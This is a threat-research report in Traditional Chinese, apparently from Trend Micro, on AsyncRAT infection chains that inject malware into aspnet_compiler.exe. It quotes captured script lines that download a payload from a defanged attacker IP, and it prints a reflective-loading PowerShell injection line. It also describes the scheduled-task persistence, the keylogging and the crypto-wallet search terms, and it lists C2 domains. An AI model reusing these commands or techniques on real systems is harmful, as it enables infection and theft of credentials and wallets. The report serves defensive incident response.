惡意程式
從多起事件回應個案當中分析 AsyncRAT ,如何將程式碼注入 aspnet_compiler.exe 當中
本文深入探討趨勢科技託管式偵測及回應 (MxDR) 團隊如何從多起個案當中拆解 AsyncRAT 的感染過程,說明原先設計用來預先組譯 ASP.NET 網頁應用程式的 Microsoft 合法執行程序 aspnet_compiler.exe 如何遭到濫用。
Trend Micro Managed XDR (MxDR) 團隊最近調查了幾起跟 AsyncRAT 這個遠端存取工具 (RAT) 相關的資安個案,此工具擁有相當豐富的功能 (如鍵盤側錄與遠端桌面控制),因此對受害者來說是一項重大威脅。本文深入探討趨勢科技託管式偵測及回應 (MxDR) 團隊如何從多起個案當中拆解 AsyncRAT 的感染過程,說明原先設計用來預先組譯 ASP.NET 網頁應用程式的 Microsoft 合法執行程序 aspnet_compiler.exe 如何遭到濫用。駭客利用這個執行程序來注入 AsyncRAT 的惡意程式碼,顯示駭客的手法正在不斷演進。
今年稍早,我們內部的威脅追蹤團隊也遇到了一些巧妙運用 AsyncRAT 內建功能的勒索病毒感染案例,其手法、技巧與程序 (TTP) 都與本文探討的案例類似,基本上就是繞過防毒機制。駭客接著運用反射載入 (reflective loading) 技巧,經由 aspnet_compiler.exe 處理程序來暗中載入惡意程式碼。
目前已有多項研究詳細分析了 AsyncRAT 的感染過程,並點出其幕後駭客不斷變換技巧的適應能力。例如,在 2019 與 2020 年的攻擊行動當中,他們趁著疫情初期,利用 Covid-19 相關的主題來散播修改過的 AsyncRAT 版本。還有另一起案例是駭客假冒成當地的銀行與執法機關將 AsyncRAT 植入攻擊目標。
2021 年,AsyncRAT 曾經出現在一起名為 Operation Spalax 的網路釣魚行動中。這起網路釣魚行動一直持續到 2021 年底至 2022 年初,它使用 HTML 附件檔案來散播 AsyncRAT,並且結合反射載入技巧。這些事件突顯出這個惡意程式不僅用途廣泛,而且經常出現在各種攻擊管道。
軸心點
時間序列 | 活動 |
---|---|
T0 | 使用者下載了一個受密碼保護的 ZIP 檔案:downloadedFile_SSAfnmeddOFzc.zip。 |
1 分 20 秒 | 使用者從 ZIP 檔案中解出一個 .wsf 腳本。 |
1 分 26 秒 | 第一個惡意檔案被下載執行,接著導致後續第二個惡意檔案的下載。 |
1 分 35 秒 | 建立自動啟動 (Autostart) 機制。 |
1 分 59 秒 | 第二個惡意檔案被下載執行。 |
5 分 48 秒 | 將程式碼注入 aspnet_compiler.exe,並透過動態 DNS 建立幕後操縱 (CC) 連線。 |
表 1:攻擊事件時間序列。
我們之所以會開始調查這起事件,是因為 Trend Vision One 的 Workbench (工作台) 上觸發的一個警報,Workbench 是一個用來顯示偵測模型所觸發警報的應用程式,可讓 MxDR 團隊評估警報的優先次序以供後續調查。
圖 1 顯示系統偵測到的 aspnet_compiler.exe 可疑活動,該處理程序嘗試連上 45[.]141[.]215[.]40 這個外部 IP 位址。同一時間,我們的分析也發現有可疑的 PowerShell 腳本以及某個批次檔案接連被執行。我們以這些資料軸心,向前回溯並調查了該檔案的入侵點以及其他活動。

我們發現,觸發感染警報的是一個經由 Google Chrome 瀏覽器下載的檔案:downloadedFile_SSAfnmeddOFzc.zip。
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Users\<username>\Downloads\downloadedFile_SSAfnmeddOFzc.zip

使用者接著開啟了 ZIP 檔案,裡面內含一個名為 downloadedFile_SSAfnmedd.wsf 的檔案。我們蒐集到了這個 ZIP 檔案,並發現它受到密碼保護。
根據一些近期的報導,AsyncRAT 通常經由垃圾郵件進入系統。趨勢科技強烈懷疑使用者可能有收到用來解壓縮 ZIP 檔案的密碼,以及一個惡意連結。使用者利用這個密碼將檔案解壓縮並開啟,這是駭客經常用來躲避偵測的手法:使用電子郵件內隨附的密碼來解壓縮 ZIP 檔案。
C:\Users\<username>\AppData\Local\Temp\Temp923a29cc-d4fd-4950-9b7d-801ff92f7bea_downloadedFile_SSAfnmeddOFzc.zip\downloadedFile_SSAfnmeddOFzc.wsf
如果檢視其執行過程就會發現 wscript.exe 是經由 Windows 檔案總管所啟動,這意味著使用者應該是直接在檔案上點兩下來執行檔案。整個安裝過程包含建立與執行多個 PowerShell 腳本 (.ps1)、VBScript (.vbs) 以及批次檔 (.bat)。

我們經由惡意程式防護掃描介面 (Antimalware Scan Interface,簡稱 AMSI) 的監測功能 (TELEMETRY_AMSI_EXECUTE) 掌握了 downloadedFile_SSAfnmeddOFzc.wsf 在執行時期的相關資料,因而能夠判斷該檔案的用途及對應的活動。
IHost.CreateObject("WScript.Shell");|
IFileSystem3.CreateTextFile("C:\Users\Public\VLCdllFrame.xml", "true");
ITextStream.Write("<command> <a> <execute>Start-BitsTransfer -Source "hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg" -Destination "C:\Users\Public\snakers.zip"; Expand-Archive -Path "C:\Users\Public\snakers.zip" -DestinationPath "C:\Users\Public\" -Fo");
ITextStream.Close();
IHost.CreateObject("WScript.Shell");
IFileSystem3.CreateTextFile("C:\Users\Public\VLCdllFrame.xml", "true");
ITextStream.Write("<command> <a> <execute>Start-BitsTransfer -Source "hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg" -Destination "C:\Users\Public\snakers.zip"; Expand-Archive -Path "C:\Users\Public\snakers.zip" -DestinationPath "C:\Users\Public\" -Fo");
ITextStream.Close();
IWshShell3.Run("powershell -command "[xml]$xmldoc = Get-Content 'C:\Users\Public\VLCdllFra", "0", "true");
IHost.CreateObject("WScript.Shell");
IFileSystem3.CreateTextFile("C:\Users\Public\VLCdllFrame.xml", "true");
ITextStream.Write("<command> <a> <execute>Start-BitsTransfer -Source "hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg" -Destination "C:\Users\Public\snakers.zip"; Expand-Archive -Path "C:\Users\Public\snakers.zip" -DestinationPath "C:\Users\Public\" -Fo");
ITextStream.Close();
IWshShell3.Run("powershell -command "[xml]$xmldoc = Get-Content 'C:\Users\Public\VLCdllFra", "0", "true");
IFileSystem3.DeleteFile("C:\Users\Public\VLCdllFrame.xml");
downloadedFile_SSAfnmeddOFzc.wsf 是一個 Windows Script File (.wsf) 腳本檔,它會交互運用 PowerShell 與 VBScript 的指令來執行一系列的動作。它會建立一個 WScript.Shell 物件 (通常用來執行指令列命令),並且在 C:\Users\Public 目錄中產生一個名為 VLCdllFrame.xml 的檔案。此處的第二個參數的值設為「true」的意思是如果該檔案已經存在,就將它覆寫。
該腳本使用 Start-BitsTransfer 這個指令來下載 hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg 這個檔案並將它儲存成 snakers.zip。接著,它會將此壓縮檔的內容解壓開到 C:\Users\Public 目錄,或者 (在某些情況下) 解開到 C:\Users\Public\Pictures\。執行完 PowerShell 指令後,腳本接著刪除先前產生的 VLCdllFrame.xml 檔案。
我們蒐集到這個 snakers.zip 檔案,並分析了其中的內容,發現裡面有數個惡意腳本,全部都是 AsyncRAT 安裝程序所必要的元件。
元件 | SHA256 雜湊碼 | 偵測名稱 |
---|---|---|
C:\Users\Public\Webcentral.vbs | 50b6aaed93609360f33de4b40b764d3bb0bd45d1 | Trojan.VBS.RUNNER.AOE |
C:\Users\Public\Webcentral.bat | f22cceb9c6d35c9119a5791d6fd93bf1484e6747 | Trojan.BAT.POWRUN.AA |
C:\Users\Public\hash.vbs | 2226d90cce0e6f3e5f1c52668ed5b0e3a97332c1 | Trojan.VBS.RUNNER.AOE |
C:\Users\Public\hash.bat | 8fe5c43704210d50082bbbaf735a475810a8dbc9 | Trojan.BAT.POWRUN.AA |
C:\Users\Public\Webcentral.ps1 | 7be69e00916c691bbbed6ff9616f974f90234862 | Trojan.PS1.RUNNER.GBT |
C:\Users\Public\runpe.txt | c07b2c25f926550d804087ac663991cf06bac519 | Trojan.Win32.ASYNCRAT.ENC |
C:\Users\Public\msg.txt | c5b16f22397c201a6e06f0049b6f948c648f11b7 | Trojan.Win32.ASYNCRAT.ENC |
C:\Users\Public\hash.ps1 | 899ca79e54a2d4af140a40a9ca0b2e03a98c46cb | Trojan.PS1.ASYNCRAT.L |
表 2:AsyncRAT 安裝程序當中的元件。
圖 4 顯示 Vision One 所繪製的執行過程,該圖描繪出使用者在開啟 downloadedFile_SSAfnmeddOFzc.wsf 檔案之後所觸發的 AsyncRAT 安裝過程。

我們觀察到,aspnet_compiler.exe 會建立連線至208[.]95[.]112[.]1:80 (ip-api[.]com) 和 45[.]141[.]215.40:4782 (httpswin10[.]kozow[.]com) 這兩個 IP 位址。前者用來檢查地理定位,後者是一個免費的動態 DNS 服務,駭客很可能用它來掩蓋其伺服器真正的 IP 位址,藉此躲避偵測。在其他案例中,我們也曾看到它連上另一個動態 DNS 伺服器:66escobar181[.]ddns[.]net。
![圖 5:aspnet_compiler.exe 執行檔連上外部 IP 位址:45[.]141[.]215.40 (動態 DNS)。](/content/dam/trendmicro/global/en/research/23/l/analyzing-asyncrat-code-injection-into-aspnet_compiler-exe-/AsyncRAT-5.png)
另外還會建立名為 Reklam 或 Rekill 的排程工作來讓 AsyncRAT 可以常駐在系統內。圖 6 顯示 Webcentral.ps1 腳本的內容,它負責建立排程工作,藉由 Windows 工作排程器服務每兩分鐘執行一次 C:\Users\Public\hash.vbs 或 C:\Users\Public\Pictures\hash.vbs。

分析腳本
藉由分析腳本,我們就能更深入了解這項威脅背後的目的。下圖顯示此威脅如何策略性運用層層的腳本來躲避偵測。它最後會將程式碼注入到 aspnet_compiler.exe,而這又是另一種躲避偵測的方法。
本節將討論從 snakers.zip 當中解壓縮出來的每個腳本的用途。

此腳本會使用 net session 這個指令 (在第 9 - 10 行) 來檢查它是否在系統管理員權限下執行。如果是,就標示它具備系統管理員權限 (isAdmin),然後執行一個儲存在 executionCommand 這個變數中的指令,基本上就是一個批次檔 (C:\Users\Public\Webcentral.bat)。此腳本也含有錯誤處理程序,它使用 On Error Resume Next 與 On Error GoTo 0 語法來處理錯誤,讓腳本順利執行。

Webcentral.bat 會執行 C:\Users\Public\Webcentral.ps1 這個 PowerShell 腳本。它使用了 -NoProfile、-WindowStyle Hidden 和 -ExecutionPolicy Bypass 三個參數在一個隱藏的視窗中執行 PowerShell 且跳過執行政策。

Webcentral.ps1 腳本會建立一個名為 Reklam 的排程工作,排程工作每兩分鐘就會執行一次 hash.vbs 這個腳本。排程工作會被啟用,而且即使裝置正在使用電池來運作也會啟動該工作。hash.vbs 腳本的路徑位於 C:\Users\Public\hash.vbs,是排程工作所執行的動作之一。此工作是透過 Windows 工作排程器服務所註冊。

Hash.vbs 與 Webcentral.vbs 兩個腳本是一樣的,只不過是指向另一個檔案 (C:\Users\Public\hash.bat)。
如同 Hash.vbs 的情況,Hash.bat 與 Webscentral.bat 是一樣的,只不過是指向另一個檔案 (C:\Users\Public\hash.ps1)。
Hash.ps1 會解碼並載入編碼在 msg.txt 與 runpe.txt 當中的可攜式執行檔 (PE),並觸發 aspnet_compiler.exe 執行。它使用解碼後的 runpe.txt 當中的函式來將 AsyncRAT 惡意程式碼 (解碼後的 msg.txt) 注入新產生的 aspnet_compiler.exe 處理程序。

解碼後的腳本內容如下:
[System.Reflection.Assembly]::Load($decoded_runpe_payload).GetType('NewPE2.PE').GetMethod('Execute').'Invoke'.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe', $decoded_msg_payload))
這是一段 PowerShell 腳本,用來動態載入一個 .NET Assembly (屬於 NewPE2.PE 類型),然後呼叫其 Execute 方法。Execute 方法用來將程式碼注入 aspnet_compiler.exe 處理程序當中。它注入的是惡意程式碼,讓駭客在合法的 aspnet_compiler.exe 處理程序內執行額外的程式碼。
解碼後的 runpe.txt 檔案內容 (圖 12) 顯示 hash.ps1 腳本中用來將程式碼注入 aspnet_compiler.exe 處理程序的函式。

在解碼後的設定中 (位於函式開頭) 比較值得注意的是它所連線的主機名稱 66escobar181[.]ddns[.]net 與連接埠號碼 6666。
其他功能
AsyncRAT 後門程式還提供了一些透過內嵌組態設定來開啟的其他功能,包括:反除錯與反分析檢查、常駐安裝、鍵盤側錄等等。例如圖 13 顯示的程式碼會檢查內嵌組態設定 embeddedConfig 是否啟用了鍵盤側錄功能。如果已啟用,就建立一個新的執行緒來執行 startKeylogging 這個方法。

在我們蒐集到的樣本中,只有鍵盤側錄功能被啟用,它會擷取和記錄受感染電腦的每一個按鍵,並將資料傳送至駭客的伺服器。

側錄功能會在遇到其對應程式 (getActiveApplicationName()) 的按鍵時停止,這個交互作用是在暫存目錄中的某個記錄檔中發現。接下來,記錄的資訊會寫入 %TEMP%\Log.tmp 當中。
程式碼會自動從組態設定當中挑選一台主機和連接埠。AsyncRAT 會利用 socket 連線與多個 IP 位址及連接埠通訊,藉此讓其基礎架構可以動態調整。如此一來,駭客就能頻繁更換伺服器位址,使其通訊管道更難被預測或攔截。不僅如此,程式碼還內建錯誤處理機制:萬一無法連上某個 IP 位址或連接埠,錯誤處理機制會讓 AsyncRAT 嘗試其他的連線位址或改用預設的組態設定,進一步提高駭客手法的隱匿性。
![圖 15:AsyncRAT 動態變換主機的功能,在我們的例子中,它會經由連接埠 6666 連上 66escobar181[.]ddns[.]net。](/content/dam/trendmicro/global/en/research/23/l/analyzing-asyncrat-code-injection-into-aspnet_compiler-exe-/AsyncRAT-15.png)
AsyncRAT 的程式碼在連上伺服器時會蒐集用戶端資訊,主要包括:使用者名稱、電腦資訊、已安裝的防毒軟體,以及已安裝的虛擬加密貨幣錢包。

AsyncRAT 會掃描應用程式目錄下的某些特定資料夾、瀏覽器擴充功能及使用者資料來尋找系統上是否有某些虛擬加密貨幣錢包的資料夾,藉此判斷這些錢包是否存在。
在搜尋虛擬加密貨幣錢包的目錄時,程式碼會搜尋以下字串:
- Atomic
- Binance
- BinanceEdge
- BitcoinCore
- BitKeep
- BitPay
- Coinbase
- Coinomi
- Electrum
- Exodus
- F2a
- LedgerLive
- Meta
- Phantom
- RabbyWallet
- Ronin
- TronLink
- Trust
AsyncRAT 近期的感染趨勢
截至 2023 年初為止,AsyncRAT 的感染案例依然持續不斷,這些案例會利用多種檔案類型來避開防毒軟體偵測,包括:PowerShell、Windows Script File (WSF) 以及 VBScript (VBS)。值得注意的是,惡意程式趨勢追蹤服務 Any.run 過去幾個月來一直將 AsyncRAT 列為每週 10 大惡意程式之一。
我們近期的調查也發現了同樣的趨勢,儘管植入系統的腳本、使用的網域,以及觀察到的注入程序有些微不同。儘管手法上有所不同,但不變的是它們同樣使用動態 DNS (DDNS) 服務 (如 No-IP 與 DuckDNS) 來建立網路基礎架構。
從解密後的 AsyncRAT 程式碼可看到它顯然使用了以 AsyncRAT Server 為名義的憑證,這是 AsyncRAT CC 流量的特徵之一。一般來說,其主體 (Subject) 的通用名稱 (Common Name) 會設成「AsyncRAT Server」或「AsyncRAT Server CA」(如我們在先前一篇針對 SSL/TLS 通訊的技術摘要所指出)。查看主體的通用名稱對於發掘 AsyncRAT 感染案例很有幫助。
此外,從惡意程式的組態設定當中也可以看到 3LOSH 這個 RAT 的識別碼存在,這意味著惡意程式碼可能用到 3LOSH 加密器來進行加密編碼與隱藏動作,這也許解釋了為何感染過程的不同階段會用到好幾個腳本。Talos 之前的研究也曾指出類似的狀況表示這類感染會利用加密器來增加隱匿性以提升其營運效率。
在我們調查 AsyncRAT 樣本檔案的期間,我們發現用來將惡意程式碼注入 aspnet_compiler.exe 的程式碼與 GitHub 開放原始碼儲存庫當中的某段程式碼相似。我們從客戶環境蒐集到的 AsyncRAT 樣本與 GitHub 儲存庫中的版本有兩個明顯的區別。第一,我們拿到的樣本還會掃描 BoolWallets 這個虛擬加密貨幣錢包。第二,GitHub 版本少了鍵盤側錄功能。但我們所取得的程式碼卻具備鍵盤側錄功能,這與 GitHub 儲存庫中發現的另一個樣本類似。這些差異代表駭客會根據其特殊需求來將 GitHub 版本的程式碼進行客製化修改。
為何它使用動態 DNS
動態 DNS 能讓駭客迅速更換網域名稱背後對應的 IP 位址,這對試圖偵測及攔截惡意活動的資安系統來說會是一項挑戰。我們近期的研究已揭露其 CC 網域是註冊在 No-IP 與 Dynu Systems,Inc. 服務底下,其中一個網域:66escobar181[.]ddns[.]net 的位址是:185[.]150[.]25[.]181。VirusTotal 的分析師已經將多個網域列為惡意網域,它們全都對應到相同的 IP 位址。
![圖 17:不同的網域全都對應到相同的 IP 位址:185[.]150[.]25[.]181](/content/dam/trendmicro/global/en/research/23/l/analyzing-asyncrat-code-injection-into-aspnet_compiler-exe-/AsyncRAT-17.png)
此 IP 位址經過進一步查證之後,我們發現它跟 Zap-Hosting 這家代管服務供應商有關,該公司提供了各式各樣的服務,如:遊戲伺服器、網站、虛擬私人伺服器 (VPS)。其他網域 (httpswin10[.]kozow[.]com) 也有類似的情況,也就是背後的 IP 位址都指向同一家代管服務供應商。這個 IP 位址也對應到一些其他的惡意網域,顯然駭客使用 DDNS 與代管服務供應商來運作已經是一種常態性策略。這證明了駭客總是會盡力掩蓋其活動,同時也顯示 AsyncRAT 相關威脅的追蹤與防範是一項持續性挑戰。
結論與建議
本文說明了 AsyncRAT 這個具備豐富功能 (未經授權存取、鍵盤側錄、遠端桌面控制、暗中篡改檔案等等) 的遠端存取木馬程式,如何成為各種威脅 (包括勒索病毒) 青睞的一項萬用工具。
其策略性使用多種加密編碼的腳本以及「就地取材」的技巧,都讓駭客擁有極大的彈性來躲避偵測。此外,若再搭配將惡意程式碼注入 aspnet_compiler.exe 這類合法處理程序的技巧,更是大幅增加了威脅的偵測難度。
動態主機的使用也讓駭客能頻繁變換 IP 位址,更好躲藏在系統內而不被發現。在許多情況下,AsyncRAT 的預設用途依然是暗中將各種有價值的資訊外傳,如:使用者名稱、密碼及虛擬加密貨幣錢包。透過鍵盤側錄功能所記錄的按鍵,有可能讓駭客竊取到登入憑證,進而駭入金融帳號。
此案例突顯出持續監控服務的重要性,例如 Trend MxDR 。若能在前期就偵測到 AsyncRAT,服務團隊就能防止它對客戶環境造成進一步傷害,避免可能發生的勒索病毒感染,這樣的情況過去經常發生在感染 AsyncRAT 的案例。
以下是一些企業在防範這類攻擊時可採取的一些措施:
- 行為監控可以觀察腳本和其他可執行程式碼的執行時期行為,它能分析腳本在執行時期所做的動作,發掘偏離預期行為的狀況。
- 網站信譽評等服務擁有各種已知惡意網址與網域的資料庫,他們會評估網站的信譽,防止使用者存取惡意腳本相關的網站。
- 針對不須執行 VBScript 或 PowerShell 腳本的使用者,可限制或禁止其執行腳本,如此就能避免駭客利用腳本從事惡意活動。
- 鑑於像 AsyncRAT 這類的威脅不僅難纏、而且會不斷演進,實施嚴密的 7 天 24 時監控服務, 如 MxDR,對於主動威脅檢測和防止至關重要。如果能夠迅速回應潛在的入侵,不僅能防止目標環境受到衝擊,還能防止威脅進一步擴大 ,如勒索病毒感染 。
- 建置嚴密的電子郵件防護有助於防止 AsyncRAT 經由垃圾郵件感染,避免使用者點選惡意連結或下載惡意檔案。此外,電子郵件防護還能當成另一個 MxDR 調查資料來源,提供完整的可視性來發掘威脅的入侵點。例如此次的案例,我們的客戶正因為缺少電子郵件防護,或正在使用第三方電子郵件防護,所以我們無法確切掌握惡意程式是經由哪一封電子郵件傳染。
- 使用者應接受適當的教育訓練,以便了解下載與執行不明或非信任來源的腳本,會有哪些風險,尤其是電子郵件隨附的檔案與連結所帶來風險。
入侵指標資料
如需本文提到的入侵指標完整清單,請至此處。